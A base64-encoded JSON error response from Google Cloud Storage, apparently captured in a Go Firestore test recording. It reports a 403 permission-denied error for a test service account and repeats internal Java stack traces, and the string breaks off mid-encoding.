"eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6ImZvcmJpZGRlbiIsIm1lc3NhZ2UiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfQUNDRVNTX0RFTklFRDogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuSW5zZXJ0T2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnRPYmplY3QuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5JbnNlcnRPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEluc2VydE9iamVjdC5qYXZhOjQ0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLmluc2VydChPYmplY3RzRGVsZWdhdG9yLmphdmE6OTUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPUZPUkJJRERFTiwgY2F0ZWdvcnk9VVNFUl9FUlJPUiwgY2F1c2U9bnVsbCwgZGVidWdJbmZvPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfQUNDRVNTX0RFTklFRDogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuSW5zZXJ0T2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnRPYmplY3QuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5JbnNlcnRPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEluc2VydE9iamVjdC5qYXZhOjQ0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLmluc2VydChPYmplY3RzRGVsZWdhdG9yLmphdmE6OTUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZG9tYWluPWdsb2JhbCwgZXh0ZW5kZWRIZWxwPW51bGwsIGh0dHBIZWFkZXJzPXt9LCBodHRwU3RhdHVzPWZvcmJpZGRlbiwgaW50ZXJuYWxSZWFzb249UmVhc29ue2FyZ3VtZW50cz17fSwgY2F1c2U9bnVsbCwgY29kZT1nZGF0YS5Db3JlRXJyb3JEb21haW4uRk9SQklEREVOLCBjcmVhdGVkQnlCYWNrZW5kPXRydWUsIGRlYnVnTWVzc2FnZT1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX0FDQ0VTU19ERU5JRUQ6IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkluc2VydE9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoSW5zZXJ0T2JqZWN0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuSW5zZXJ0T2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnRPYmplY3QuamF2YTo0NClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5pbnNlcnQoT2JqZWN0c0RlbGVnYXRvci5qYXZhOjk1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPUZPUkJJRERFTiwgZXJyb3JQcm90b0RvbWFpbj1nZGF0YS5Db3JlRXJyb3JEb21haW4sIGZpbHRlcmVkTWVzc2FnZT1udWxsLCBsb2NhdGlvbj1udWxsLCBtZXNzYWdlPWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuLCB1bm5hbWVkQXJndW1lbnRzPVtdfSwgbG9jYXRpb249bnVsbCwgbWVzc2FnZT1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiwgcmVhc29uPWZvcmJpZGRlbiwgcnBjQ29kZT00MDN9IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuOiBjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX0FDQ0VTU19ERU5JRUQ6IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkluc2VydE9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoSW5zZXJ0T2JqZWN0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuSW5zZXJ0T2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnRPYmplY3QuamF2YTo0NClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5pbnNlcnQoT2JqZWN0c0RlbGVnYXRvci5qYXZhOjk1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBj